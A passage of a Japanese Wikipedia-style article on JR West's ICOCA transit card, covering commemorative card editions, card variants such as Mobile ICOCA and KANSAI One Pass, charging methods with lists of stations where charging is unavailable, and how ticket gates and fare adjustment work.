* [[2007年]][[9月1日]]発売…岡山・広島エリアサービス開始記念(3万枚)
* [[2008年]][[3月29日]]発売…Suica・TOICA・ICOCA相互利用開始記念(3万枚)
* [[2010年]][[7月30日]]発売…[[広島東洋カープ|カープ]]デザインICOCA([[西条駅 (広島県)|西条駅]]・[[広島駅]]・[[西広島駅]]・[[呉駅]]のみで発売、3万枚)<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/news/newslist/article/1174896_799.html |archiveurl=https://web.archive.org/web/20101205004023/http://www.westjr.co.jp/news/newslist/article/1174896_799.html |title=「カープデザインICOCA」の発売について |publisher=西日本旅客鉄道 |date=2010年7月14日 |archivedate=2010-12-05 |accessdate=2019-03-10}}</ref>
* [[2011年]][[3月5日]]発売…ICOCA・SUGOCA・TOICA相互利用開始記念(3万枚)<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/news/newslist/article/1175204_799.html |archiveurl=https://web.archive.org/web/20110902010447/http://www.westjr.co.jp/news/newslist/article/1175204_799.html |title=「ICOCA・SUGOCA・TOICA」相互利用開始記念ICOCAの発売について |publisher=西日本旅客鉄道 |date=2011-02-21 |archivedate=2011-09-02 |accessdate=2019-03-10}}</ref>
* 2013年[[3月23日]]発売…交通系ICカード全国相互利用記念ICOCA(5万枚)<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2013/02/page_3334.html |title=交通系ICカード 全国相互利用記念ICOCAの発売について |publisher=西日本旅客鉄道 |date= 2013-02-26 |accessdate=2019-03-10}}</ref>
* 2013年[[12月7日]]発売…「[[ポケットモンスター|ポケモン]]ICOCA」[[ポケモンセンター|ポケモンセンターオオサカ]]とのタイアップ(3万枚)<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2013/09/page_4443.html |title=枚数限定「ポケモンICOCA」の発売について |publisher=西日本旅客鉄道 |date=2013-09-13 |accessdate=2019-03-10}}</ref>
* [[2014年]][[3月1日]]発売…JR四国サービス開始記念SHIKOKU ICOCA(JR四国の6駅で発売、1万枚)
* 2014年[[6月1日]]発売…岡山支社と[[両備グループ]]の提携4年目記念・岡山の地域ポイントサービス「たまルン」との提携開始記念。[[たま (猫の駅長)|たま駅長]]とカモノハシのイコちゃんデザイン(岡山県内および[[和歌山電鐵]][[貴志駅]]の24箇所で発売、3万枚)<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2014/05/page_5663.html |title=JR西日本岡山支社と両備グループの連携4年目 岡山地域カード「たまルン」とJR西日本「ICOCA」が連携するにあたり、たま駅長&カモノハシのイコちゃん「記念ICOCA」6月発売します。渋滞緩和および中心市街地の回遊性創出ツールを開発|publisher=西日本旅客鉄道|date=2014年5月20日|accessdate=2014年5月22日}}</ref>
* [[2015年]][[4月15日]]発売…「きかんしゃトーマス」デザインICOCA([[京阪大津線|大津線]]を除く京阪各駅の券売機で発売、定期券機能付加可能。3万枚)<ref>{{Cite press release|和書|url=https://www.keihan.co.jp/info/upload/2015-04-14_Thomas-icoca.pdf |title=平成27年4月15日(水)初発より「きかんしゃトーマス」をデザインしたICOCAを京阪線で発売!|publisher=京阪電気鉄道|date=2015年4月14日|accessdate=2015年5月7日}}</ref>
* 2015年[[9月20日]](第1期)・[[2016年]]2月26日(第2期)・3月24日(第3期)発売…駅長[[カープ坊や]]&イコちゃんデザインICOCA(第1期・第2期…各1万5千枚、第3期…3万枚、計6万枚)<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2015/07/page_7329.html |title=今年のカープ応援は、JRで行こう!広島東洋カープとのコラボレーショングッズ、記念ICOCAの発売について |publisher=西日本旅客鉄道 |date= 2015年7月3日 |accessdate=2019-03-10}}</ref>。2016年[[9月22日]]、カープ優勝を記念して、エールエールA館で記念台紙付きで再発売(3000枚)<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2016/09/page_9248.html |title=広島東洋カープ25年ぶりリーグ優勝おめでとう企画!「カープICOCA」および「カープ優勝記念デザインICOCA」の発売について |publisher=西日本旅客鉄道 |date= 2016年9月12日 |accessdate=2019-03-10}}</ref>。
* [[2016年]][[10月1日]]発売…カープ優勝記念デザインICOCA(広島駅、西条駅、[[五日市駅]]、呉駅、[[可部駅]]、[[三原駅]]、[[尾道駅]]、[[福山駅]]、[[岩国駅]]で発売。郵便ハガキによる事前申し込みが必要。5万枚)<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2016/09/page_9307.html |title=「カープ優勝記念デザインICOCA」の発売について |publisher=西日本旅客鉄道 |date= 2016年9月29日 |accessdate=2019-03-10}}</ref>
* [[2018年]][[12月25日]]発売…明治150年記念[[京都市電]]デザインICOCA(京都市交通局で発売、定期券機能付加可能。2万9千枚)<ref>{{Cite press release|和書|url=http://www.city.kyoto.lg.jp/kotsu/page/0000245861.html |title=明治150年記念「市電デザインICOCA」の発売について |publisher=京都市交通局 |date=2018-12-14 |accessdate=2019-02-10}}</ref>
* [[2019年]][[3月1日]]発売…[[阪神タイガース|タイガース]]ICOCA(阪神でのICOCA発売開始にあわせて阪神電気鉄道で発売、球団旗デザイン [5万枚] と[[トラッキー]]デザイン [3万枚] の2種類、定期券機能付加可能<ref>{{Cite press release|和書|url=https://www.hanshin.co.jp/company/press/detail/2443 |title=「タイガースICOCA」の発売について |publisher=阪神電気鉄道 |date=2019-01-09 |accessdate=2019-02-10}}</ref>。3月1日-3日は[[甲子園駅]]のみで先行発売、3月4日・5日は阪神の主要駅で発売<ref>{{Cite press release|和書|url=https://www.hanshin.co.jp/company/press/detail/2473 |title=「タイガースICOCA」の発売方法及び「IC定期券キャンペーン」の実施について |publisher=阪神電気鉄道 |date=2019-02-19 |accessdate=2019-03-03}}</ref>、3月6日以降は梅田駅・神戸三宮駅のみで発売<ref>{{Cite press release|和書|url=https://rail.hanshin.co.jp/uploads/info/87696aa88d7c2c48243f9fa10813b022b692bfd3.pdf |archiveurl=https://web.archive.org/web/20190306044140/https://rail.hanshin.co.jp/uploads/info/87696aa88d7c2c48243f9fa10813b022b692bfd3.pdf |title=「タイガースICOCA」の発売場所変更について |publisher=阪神電気鉄道 |date=2019-03-05 |archivedate=2019-03-06 |accessdate=2019-03-09}}</ref>。後に追加発売する旨が公表されており<ref>{{Cite press release|和書|url=https://www.hanshin.co.jp/company/press/detail/2489 |title=「タイガースICOCA」の追加発売について |publisher=阪神電気鉄道 |date=2019-03-05 |accessdate=2019-03-05}}</ref><ref name="daily-sp20190305">{{Cite news|url=https://www.daily.co.jp/tigers/2019/03/05/0012119549.shtml |title=7時間待ちの“お宝カード”「タイガースICOCA」追加発売へ |newspaper=[[デイリースポーツ]] |date=2019-03-05|accessdate=2019-03-10}}</ref>、2021年時点では大阪梅田駅東口・神戸三宮駅西改札の券売機のうち2台で販売されていた)
これらのうち、「カープICOCA」(優勝記念バージョンが3時間で完売<ref>{{Cite news|url=https://trafficnews.jp/post/57788 |title=カープ坊やを胴上げで祝福 限定5万枚「優勝記念ICOCA」、10月1日から受付開始 |newspaper=乗りものニュース |date=2016-09-29 |accessdate=2019-03-10}}</ref>)や「タイガースICOCA」(発売初日に7時間待ちの行列が発生<ref>{{Cite news|url=https://web.archive.org/web/20190310001340/https://www.jiji.com/jc/article?k=2019030101180&g=eco |title=限定ICOCAに7時間待ち=タイガースデザインに行列-阪神電鉄|newspaper=時事通信 |date=2019-03-01 |accessdate=2019-03-10}}</ref><ref name="daily-sp20190305"/><ref>[https://www.asahi.co.jp/webnews/pages/abc_911.html 待ち時間7時間超!阪神電鉄が「タイガースICOCA」]([[朝日放送テレビ]] 2019年3月1日配信)配信日に閲覧</ref>{{Efn|阪神タイガースOBの[[狩野恵輔]]が、自身で発売初日に並んで購入したことを出演番組やSNSで公表している。}})は大きな人気を集め、販売時に話題となった。
=== モバイルICOCA ===
{{main|モバイルICOCA}}
2023年3月22日にサービスを開始した、スマートフォンで「ICOCA」の機能を利用できるサービス。[[モバイルアプリケーション|スマートフォンアプリ]]の操作により利用が可能で、代金はクレジットカードによる決済などとなる<ref name="pr20201016">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/201016_00_mobileicoca.pdf|archiveurl=https://web.archive.org/web/20201016073901/https://www.westjr.co.jp/press/article/items/201016_00_mobileicoca.pdf|format=PDF|language=日本語|title=「モバイルICOCA(仮称)」の導入計画について|publisher=西日本旅客鉄道|date=2020-10-16|accessdate=2020-10-17|archivedate=2020-10-16}}</ref>。
2023年3月22日より、[[Android (オペレーティングシステム)|Android]] OS搭載のスマートフォンでサービスを開始した<ref name="pr20230322">{{Cite press release |和書 |title=「モバイル ICOCA(仮称)」の導入計画について |publisher=西日本旅客鉄道株式会社 |date=2023-02-22 |url=https://www.westjr.co.jp/press/article/items/230222_00_press_mobaico.pdf |accessdate=2023-02-26}}</ref>。
2023年6月27日、実質的な「iOS版モバイルICOCA」となる「[[Apple Pay]]のICOCA」が発表され、同日付でサービスが開始された<ref name="pr20230627">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/230627_00_press_icoca.pdf|title=Apple PayのICOCA 本日から開始 ~お持ちのiPhoneやApple WatchでICOCAが利用可能に~|publisher=西日本旅客鉄道|date=2023-06-27|accessdate=2023-06-27}}</ref>
=== KIPS ICOCA ===
[[File:Kips Icoca.png|thumb|KIPS ICOCAカード]] [[File:Kips ICOCA 裏.jpg |thumb|定期券付きKIPS ICOCAカード裏面]]
ICOCAの機能に加え、[[近鉄グループ]]各社の「KIPSポイントサービス」の特典が受けられるカード。2012年12月1日発行開始。近鉄主要駅の定期券取扱窓口で発行・取扱いを行っている。12歳以上限定(小学生は不可)で発売され、購入時に本人確認証明書類(運転免許証、個人番号カード等)が必要。
定期券機能の追加も可能で、ICOCAとしては唯一裏面に定期券情報を表示する。なお、近鉄以外の鉄道事業者では、定期券機能を追加できない。
近鉄線を利用した場合(現金で定期券を購入する場合を含む)、200円(税別)につき1ポイントが加算される{{Efn|「1乗車毎」ではなく、1ヶ月の税別乗車料金の総額(下車、もしくは乗車の片方が他社局でも、実際に近鉄に乗車した分が加算される)を200で割ったポイントが、翌月14日くらいに付与される}}。新規購入時には、2,000円(デポジット500円を含む)となる。
また、ショッピング時もポイントが付与される{{Efn|「ICOCAの付いた現金専用KIPSカード」という扱いのため、提示すれば、現金払いでも(一部の店舗では電子マネーやQRコード支払いでも)ポイントが付与される。逆に提示がなければ、KIPS ICOCAカードを使ってICOCA支払いをしても、ポイントは付与されない。}}。なお、[[KIPS PiTaPaカード]]とはポイントの付与率・利用可能店舗が異なる場合がある。
KIPSクレジットカード会員に限り、KIPSポイントカード(現金払いポイント専用カード・2013年1月25日発行開始)を含むKIPSポイントのとりまとめが可能(KIPSネットサービスにて事前登録が必要)。
2023年1月31日をもってKIPS ICOCAカードの新規発行を終了した。なお、発行済みのKIPS ICOCAは継続使用できるほか、紛失・盗難・磁気不良時の再発行等には対応する<ref>{{Cite web|和書|url=https://www.kintetsu.co.jp/group/Kips/topics/|title=KIPSトピックス|date=2022-09-08|accessdate=2022-09-08|publisher=近畿日本鉄道}}</ref>。
=== KANSAI One Pass ===
2016年4月8日より発行されているICOCAをベースとした[[訪日外国人旅行|訪日外国人旅行者]]向け「関西統一交通パス」<ref>{{Cite press release|和書|url=http://www.kankeiren.or.jp/material/160120release.pdf |title=訪日外国人旅行者向け 関西統一交通パス「KANSAI ONE PASS」の販売開始について|publisher=公益財団法人 関西経済連合会|date=2016年1月20日|accessdate=2016年1月21日}}</ref>。[[関西経済連合会]]がJR西日本をはじめとする9社局や[[新関西国際空港]]などと協力して発行する。ICOCA機能に加え、[[関西国際空港]]内の41店舗を含む約90カ所の商業施設や観光スポットで利用できる優待特典が付帯する。
カードには関西ゆかりの[[手塚治虫]]原作の漫画「[[鉄腕アトム]]」のイラストが描かれており、関西広域の鉄道路線マップ付き利用ガイドが付属する。当初は3000円(デポジット500円含む)のカード(カードの色は桃色)を3万枚限定で販売。2017年4月17日より2000円(デポジット500円含む)のカード(カードの色は黄色)を枚数限定無しで販売開始したが、2019年4月16日より再び3000円カードとなり、2000円カードは売り切れ次第、発売終了となる。
発売箇所は[[関西空港駅]]および大阪・京都・神戸市内のJR西日本・阪急・阪神・京阪・近鉄・南海・地下鉄主要駅等。外国[[パスポート]]を有し、[[出入国管理#滞在許可と外国人登録|「短期滞在」に該当する在留資格]]を有する訪日外国人のみが購入可能で、購入時にはパスポートの提示が必要になる。
=== 黄金のICOCA ===
2021年2月1日より発行開始の「[[J-WESTカード|J-WESTゴールドカード]]」の会員限定で、WESTERポイント(旧:J-WESTポイント)の交換商品として発行する限定ICOCAである<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/210127_00_J-WEST15th.pdf|archiveurl=https://web.archive.org/web/20210127062710/https://www.westjr.co.jp/press/article/items/210127_00_J-WEST15th.pdf|format=PDF|language=日本語|title= J-WESTゴールドカードの発行およびJ-WESTカード15周年記念キャンペーンの実施について|publisher=西日本旅客鉄道|date=2021-01-27|accessdate=2021-01-28|archivedate=2021-01-27}}</ref>。定期券の搭載は不可。
== 利用方法 ==
{{main2|電子マネーとしての利用|ICOCA電子マネー}}
駅の[[自動改札機]]やバスの乗降口、店舗のレジなどに設置されたカード読み取り機にICOCAをあてて(タッチして)カードを読み取らせることにより、あらかじめチャージされた金額から利用金額分を引き去って決済をするというのが基本的な使い方である。ICOCAは電波を使った無線通信によりデータの読み取りや書き込みができる非接触型のICカードであるので、パスケース等に入れたままでも利用でき、利用するごとにパスケース等から取り出したりする必要がないが、電波を吸収する性質がある硬貨などの金属類や、使用方法が類似する他用途の非接触型ICカード(ICチップを搭載した[[運転免許証]]や[[taspo]]・[[楽天Edy]] ・[[nanaco]]・[[WAON]]・[[Speedpass]]・一部のゲームのマスコットなど)を一緒に入れていると、カードが正しく読み取れないことがある。
=== チャージ ===
ICOCAのストアードフェア (SF) 機能を利用するには、精算前にあらかじめカードにチャージ(入金)がされている必要がある。チャージ金額の上限は20,000円である。チャージ方法は現金または[[クレジットカード]](SMART ICOCAのみ)に限られ、[[Jスルーカード]]や[[オレンジカード]](JR西日本)、または[[スルッとKANSAI]]対応カード(近鉄・京阪など)を用いてのチャージはできない。[[Suica]]、[[PASMO]]などで実施しているオートチャージは、SMART ICOCAのクイックチャージ(クレジットカードによる決済)があることから行っていない。
チャージは基本的に駅構内に於いては以下の場所で行う。
; ICOCA対応の[[自動券売機]]
: 券売機操作により、一定額の単位(各社局共通で1,000円・2,000円・3,000円・5,000円・10,000円。JR西日本は500円も対応。京阪や京都市営地下鉄などの一部事業者では10円〜990円の任意の金額にも対応。)を現金でチャージする。領収書も発行でき、カードの利用履歴の表示や印字もできる。500円チャージは2015年10月1日より開始<ref name="release20150914">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2015/09/page_7636.html |title=ICカード乗車券「ICOCA」のサービスを拡充します! 〜「500円チャージ」「不足額チャージ」の開始〜|publisher=西日本旅客鉄道|date=2015年9月14日|accessdate=2015年12月20日}}</ref>。一部の機器ではICOCAをパスケースから取り出すことなくチャージできる。
: JR西日本の各駅のものは、SMART ICOCAのクイックチャージ(クレジットカードによる決済)、ポイントチャージ(WESTERポイント(旧:J-WESTポイント)からの移行)にも対応している。
: なお、あいの風とやま鉄道の自動券売機はICOCAに対応していなかったが、2020年10月1日よりチャージ等が可能となっている<ref>{{Cite web|和書|url=https://ainokaze.co.jp/ticket/ic/|title=ICカードについて|publisher=あいの風とやま鉄道|date=|accessdate=2022-05-18}}</ref>。
: JR四国の自動券売機はICOCAに対応していない。
; 専用チャージ機
: 駅のホームや改札口に設置されている入金専用の「チャージ機」によりチャージすることも可能。ICOCAをホルダーに差し込んで使用し、券売機同様に一定額を現金でチャージする。
: JR西日本・JR四国・あいの風とやま鉄道・IRいしかわ鉄道のチャージ機は、現金でのチャージに加えて、SMART ICOCAのクイックチャージもできる。SMART ICOCA専用で現金でチャージする機能がない「クイックチャージ専用機」もある。岡山・広島・山陰・香川エリアおよび石川・富山エリアに設置されている新型のチャージ機には、利用履歴の印字機能、SMART ICOCAのポイントチャージができる機能が追加されている。
: JR西日本においては、当初自動券売機や自動精算機を設置していない閑散駅で導入していたが、サービス開始以降にチャージの需要が大きく伸びたことから主要駅への増設や、ホーム上にも設置している駅([[和泉砂川駅]]など)もある。
: クイックチャージ専用機に通常のICOCAを挿入した場合、残額とチャージできない旨の表示が出る。逆に、現金対応のチャージ機にSMART ICOCAを挿入すると、現金でのチャージができずクイックチャージ・ポイントチャージのみの取り扱いとなる。
; 自動精算機
: ICOCA対応券売機と同様の単位(一部の社局では10円〜10,000円までの任意の金額でチャージ可能)で現金チャージができる。感熱紙による領収書も発行できる(JR西日本では不足額チャージ時は領収書の発行は不可)。また、降車時に不足額があった場合に限り不足額(10円単位切り上げ)のみをチャージすることも出来る(2015年10月1日より、詳細後述)。
: JR西日本の各駅のものは、SMART ICOCAのクイックチャージ・ポイントチャージ機能も搭載する。
; 車内運賃箱(一部路線)
: 七尾線・きのくに線・和歌山線の2両編成ワンマン電車では、車内での現金チャージに対応する。運転席後ろの両替機能付き運賃箱でチャージボタンを選択し、チャージ額(1000円、3000円、5000円)を選択後にICOCAを置き、現金を投入してチャージする<ref name="release20191213_00_wakayama">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/191213_00_wakayama.pdf|title=2020年春ダイヤ改正について|publisher=西日本旅客鉄道和歌山支社|date=2019-12-13|accessdate=2019-12-17}}</ref>。[[路面電車]]や[[日本のバス|一般乗合バス]]とは異なり駅間走行中でもチャージが可能。
なお、ICOCAエリア内の以下の駅では駅構内でチャージができない。
; 自動券売機や自動精算機・チャージ機が設置されていない駅
:* [[西日本旅客鉄道]](JR西日本)
:** [[北陸本線]]<ref name="release20180821_00_icoca_1">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/180821_00_icoca_1.pdf|archiveurl=https://web.archive.org/web/20190528150154/https://www.westjr.co.jp/press/article/items/180821_00_icoca_1.pdf|format=PDF|language=日本語|title=9月15日「ICOCA」を福井県内のJR北陸本線(新疋田駅〜牛ノ谷駅)に導入します! 〜北陸と近畿がICOCAでつながる〜|publisher=西日本旅客鉄道金沢支社|date=2018-05-30|accessdate=2021-01-23|archivedate=2019-05-28}}</ref>:[[新疋田駅]]、[[南今庄駅]]、[[湯尾駅]]、[[王子保駅]]、[[大土呂駅]]、[[細呂木駅]]、[[牛ノ谷駅]]
:** [[七尾線]]<ref name="release20201218nanao">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/201218_00_ticketless_hokuriku.pdf|archiveurl=https://web.archive.org/web/20201218120607/https://www.westjr.co.jp/press/article/items/201218_00_ticketless_hokuriku.pdf|format=PDF|language=日本語|title=七尾線でICOCAがご利用いただけるようになります! e5489 で「チケットレス特急券」「eチケットレス特急券」を導入します!|publisher=西日本旅客鉄道|date=2020-12-18|accessdate=2021-01-23|archivedate=2020-12-18}}</ref>:[[南羽咋駅]]
:** [[関西本線]]<ref name="release20210119kansai">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/210119_00_ICareakakudai.pdf|archiveurl=https://web.archive.org/web/20210119051654/https://www.westjr.co.jp/press/article/items/210119_00_ICareakakudai.pdf|format=PDF|language=日本語|title= 関西本線 加茂駅〜亀山駅間 ICOCAエリア拡大日決定! 〜2021年3月13日サービス開始〜|publisher=西日本旅客鉄道|date=2021-01-19|accessdate=2021-01-23|archivedate=2021-01-19}}</ref>:[[関駅 (三重県)|関駅]]、[[加太駅 (三重県)|加太駅]]、[[柘植駅]]、[[新堂駅]]、[[佐那具駅]]、[[島ケ原駅]]、[[月ケ瀬口駅]]、[[大河原駅 (京都府)|大河原駅]]
:** [[草津線]]:柘植駅
:** [[紀勢本線]](きのくに線)<ref name="release20191213_00_wakayama" />:[[道成寺駅]]、[[和佐駅]]、[[稲原駅]]、[[印南駅]]、[[切目駅]]、[[岩代駅]]、[[芳養駅]]、[[紀伊新庄駅]]、[[紀伊富田駅]]、[[椿駅]]、[[紀伊日置駅]]、[[見老津駅]]、[[江住駅]]、[[和深駅]]、[[田子駅]]、[[田並駅]]、[[紀伊有田駅]]、[[紀伊姫駅]]、[[紀伊田原駅]]、[[紀伊浦神駅]]、[[下里駅]]、[[湯川駅]]、[[紀伊天満駅]]、[[那智駅]]、[[宇久井駅]]、[[三輪崎駅]]
:** [[山陰本線]]<ref name="release20201218fukuchiyama" />:[[船岡駅 (京都府)|船岡駅]]、[[東山公園駅 (鳥取県)|東山公園駅]]、[[東松江駅 (島根県)|東松江駅]]
:** [[境線]]<ref name="release20181217" />:[[和田浜駅]]、[[大篠津町駅]]、[[中浜駅]]、[[高松町駅]]、[[上道駅 (鳥取県)|上道駅]]
:** [[伯備線]]:[[木野山駅]]、[[備中川面駅]]、[[方谷駅]]、[[井倉駅]]、[[石蟹駅]]
:* [[近畿日本鉄道]](近鉄)
:** [[近鉄大阪線|大阪線]]:[[伊賀上津駅]]、[[西青山駅]]、[[大三駅]]、[[伊勢石橋駅]]、[[川合高岡駅]]
:** [[近鉄名古屋線|名古屋線]]:[[桃園駅]]
:** [[近鉄湯の山線|湯の山線]]:[[中菰野駅]]、[[大羽根園駅]]
:** [[近鉄鈴鹿線|鈴鹿線]]:[[柳駅]]、[[三日市駅]]
:** [[近鉄山田線|山田線]]:[[伊勢中原駅]]、[[漕代駅]]、[[小俣駅 (三重県)|小俣駅]]
:** [[近鉄鳥羽線|鳥羽線]]:[[朝熊駅]]、[[池の浦駅]]
:** [[近鉄志摩線|志摩線]]:[[中之郷駅]]、[[志摩赤崎駅]]、[[船津駅 (三重県鳥羽市)|船津駅]]、[[加茂駅 (三重県)|加茂駅]]、[[松尾駅 (三重県)|松尾駅]]、[[白木駅]]、[[五知駅]]、[[沓掛駅]]、[[上之郷駅]]、[[穴川駅 (三重県)|穴川駅]]、[[志摩横山駅]]、[[志摩神明駅]]
:** [[近鉄吉野線|吉野線]]:[[薬水駅]]、[[大阿太駅]]
:* [[南海電気鉄道]]
:** [[南海高野線|高野線]]:[[下古沢駅]]、[[上古沢駅]]、[[紀伊細川駅]]、[[紀伊神谷駅]](ただし、下古沢駅、紀伊細川駅、紀伊神谷駅は有人駅であり、窓口でチャージをすることができる)
:* [[四日市あすなろう鉄道]]
:** [[四日市あすなろう鉄道内部線|内部線]]:[[小古曽駅]]
; 自動券売機がICOCAチャージ非対応で、自動精算機・チャージ機が設置されていない駅
:* 西日本旅客鉄道(JR西日本)
:** [[和歌山線]]<ref name="release20191213_00_wakayama" />:[[大和二見駅]]、[[隅田駅]]、[[下兵庫駅]]、[[紀伊山田駅]]、[[中飯降駅]]、[[妙寺駅]]、[[大谷駅 (和歌山県)|大谷駅]]、[[西笠田駅]]、[[紀伊長田駅]]、[[下井阪駅]]、[[船戸駅]]、[[紀伊小倉駅]]、[[布施屋駅]]、[[千旦駅]]
:** 紀勢本線(きのくに線):[[朝来駅]]、[[紀伊佐野駅]]
:* [[四国旅客鉄道]](JR四国)
:** [[予讃線]]<ref name="shikoku-charge">{{Cite web|和書|url=http://www.jr-shikoku.co.jp/icoca/icoca05-charge.html |title=ICOCAガイド チャージ(入金)|publisher=四国旅客鉄道|accessdate=2020-03-16}}</ref>:[[香西駅]]、[[鬼無駅]]、[[国分駅 (香川県)|国分駅]]、[[讃岐府中駅]]、[[鴨川駅]]、[[八十場駅]]、[[讃岐塩屋駅]]
:** [[高徳線]]{{R|shikoku-charge}}<ref name="release20200127" />:[[栗林公園北口駅]]、[[屋島駅]]
:* 四日市あすなろう鉄道
:** 内部線:[[赤堀駅]]、[[日永駅]]、[[南日永駅]]、[[泊駅 (三重県)|泊駅]]、[[追分駅 (三重県)|追分駅]]、[[内部駅]]
:** [[四日市あすなろう鉄道八王子線|八王子線]]:日永駅、[[西日野駅]]
また、以前はJR西日本管内の[[みどりの窓口]]で現金に加えてクレジットカードでのチャージも取り扱っていたが、2008年6月30日限りでみどりの窓口でのチャージの取扱いを中止し、一方でSMART ICOCAを一般クレジットカードに開放した。併せてICOCA定期券以外のクレジットカードでの購入取扱いも中止した。
駅以外では、[[ICOCA電子マネー]]を導入している[[イオングループ]]、[[ビックカメラ]]グループ(いずれも一部を除く店舗)のICOCA電子マネー対応店舗と、エリア内の主要コンビニエンスストア([[セブン-イレブン]]、[[ローソン]]、[[ファミリーマート]]、[[サークルKサンクス]]、[[ポプラ (コンビニエンスストア)|ポプラ]]など)、ICOCA取り扱いのバス車内([[近江鉄道バス]]、[[湖国バス]]、[[大阪バス]]、カナちゃんバス、[[くる梨]]、[[ごんごバス]]、[[おのみちバス]]を除く)、広島地区の[[PASPY]]取り扱いの電車・バス車内のほか、東日本地区の[[Suicaショッピングサービス]]、東海地区の[[TOICA]]電子マネー、九州地区の[[SUGOCA]]電子マネーなど、「全国相互利用サービス」対応の各IC乗車カード(PiTaPaを除く)での電子マネーサービスを導入しているコンビニエンスストア([[NEWDAYS]]、[[ベルマート]]、[[ミニストップ]]など)でも、現金によるチャージを取り扱っている(コンビニエンスストアでは、一部取り扱わない店舗もある)。2018年10月15日より[[セブン銀行]]ATMで、ICOCAなどの、交通系電子マネーの現金チャージや残高確認の取り扱いを開始した<ref>{{Cite news|url=https://www.itmedia.co.jp/news/articles/1809/13/news121.html|title=セブン銀行ATMで「Suica」や「PASMO」のチャージ可能に 10月から|newspaper=[[ITmedia]]|date=2018-09-13|accessdate=2018-10-27}}</ref>。
<gallery>
ファイル:ICOCA対応券売機.jpg|都市部駅用のICOCA対応券売機(HT30型)
ファイル:JRW ICOCA-type ticketseller-2.jpg|無人駅用のICOCA対応券売機(UT50型){{Efn|写真のタイプはチャージは現金専用だが、同型のSMART ICOCAクイックチャージ対応型にはポイントチャージのボタンがある}}
ファイル:ICOCA charging machine.jpg|チャージ機<br/>(京阪神エリア){{Efn|一部のクイックチャージ専用機設置駅は現金専用に設定}}
ファイル:Smart Icoca Charge Machine.jpg|クイックチャージ専用機<br/>(京阪神エリア)
ファイル:ICOCAチャージ機.jpg|チャージ機 (VC50型)<br/>(岡山・広島エリア)
ファイル:JR西日本の乗り越し精算機.jpg|旧型ののりこし精算機(チャージは現金専用)
ファイル:Fare Adjustment Okayama.jpg|新型ののりこし精算機(FA50型)
</gallery>
=== 鉄道の利用 ===
鉄道での利用の場合、乗車駅で自動改札機のカード読み取り部にICOCAをタッチする。この時、カードには乗車駅や時刻などの情報が記録される。ICOCAが正確に認証された場合は電子音とともにゲートが開き、正確に認証されない場合、またはカードが使用できない場合は電子音や音声が鳴って即座にゲートが閉まるようになっている。ICOCAの残額が不足していたり、ICOCA[[定期乗車券|定期券]]およびこどもICOCAの有効期限が近付いたりしている場合は通常と異なる電子音が鳴る。また、こどもICOCAが使用された場合は鳥の鳴き声の音が鳴る。下車駅では、乗車時と同じように自動改札機のカード読み取り部にICOCAをタッチする。この時、乗車時に記録された情報を元に運賃が計算され、チャージ金額から運賃分が引き去られる。なお、Suicaと異なり、ICOCAエリアでは入場時に初乗り運賃の引き去りを行わない<ref>{{Cite web|和書|url=https://www.jr-odekake.net/icoca/guide/train/ticketgate.html |title=鉄道でのご利用:自動改札機の通り方|work=JRおでかけネット|publisher=西日本旅客鉄道|accessdate=2014年2月9日}}</ref>ため、残高が初乗り運賃未満でも入場は可能である(ただし、残高0円の場合は入場できない)<ref>{{Cite web|和書|url=http://www.jreast.co.jp/suica/area/west/index.html |title=利用可能エリア > ICOCAエリア(JR西日本)|work=[[Suica]]公式サイト|publisher=[[東日本旅客鉄道]]|accessdate=2014年2月10日}}</ref>。
ICOCA定期券で定期区間の外を含む区間をICOCAで利用した場合は、降車時に定期外区間に相当する運賃が引き去られる。なお、定期区間を挟む利用を行った場合は「全区間の通し運賃」と「定期外区間の運賃の合算」のいずれか安い方で精算されることになっている<ref name="adjustment">{{Cite web|和書|url=https://www.jr-odekake.net/icoca/guide/train/autoadjustment.html|title=自動精算|work=ICOCA公式サイト|publisher=西日本旅客鉄道|accessdate=2018-06-04}}</ref>。
出場時にチャージ額の不足があった場合には、導入当初はのりこし精算機にて不足額の現金精算を行い、別途出場証(磁気券)を受け取って出場証で改札を通過するか、チャージ機で不足額を上回るように1000円単位でチャージする必要があったが、2015年10月1日よりICOCAに不足額(10円単位で切り上げ)を現金チャージした上で、そのまま入場時のICOCAで出場改札を通過する仕組みに変更された(ただし[[姫路駅]]の[[播但線]]・[[姫新線]]乗り継ぎ精算機、[[加古川駅]]の[[加古川線]]乗り継ぎ精算機、[[鶴橋駅]]の近鉄乗り継ぎ精算機、[[新大阪駅]]の新幹線乗り継ぎ精算機は不足額チャージ不可。また、他の乗車券やオレンジカードで精算する場合は従来通り出場証が発行される)<ref name="release20150914"/>。
普通列車に車載型IC改札機を設置している路線([[七尾線]] 津幡駅 - 七尾駅間・[[関西本線]] 亀山駅 - 加茂駅間・[[和歌山線]]・[[紀勢本線]](きのくに線)・[[境線]])では、乗車時に入口横の「乗車」用IC改札機にタッチし、降車時に運転台後ろまたは運賃箱の「降車」用IC改札機にタッチして下車する。七尾線・和歌山線・紀勢本線(きのくに線)では、車内運賃箱での現金チャージに対応する(前述)が、関西本線・境線では列車内でのチャージに対応していないため、残高不足の場合は乗務員が入場記録を取り消した上で現金精算する必要がある<ref>{{YouTube|MUY1TykSvLo|【<公式>JR西日本】車載型IC改札機のご利用方法}}</ref>。なお、七尾線 七尾駅 - 和倉温泉駅間は普通列車が[[のと鉄道]]の列車のみであることから、普通列車ではICOCAでの利用に対応しない。
==== 在来線と新幹線の乗り継ぎ ====
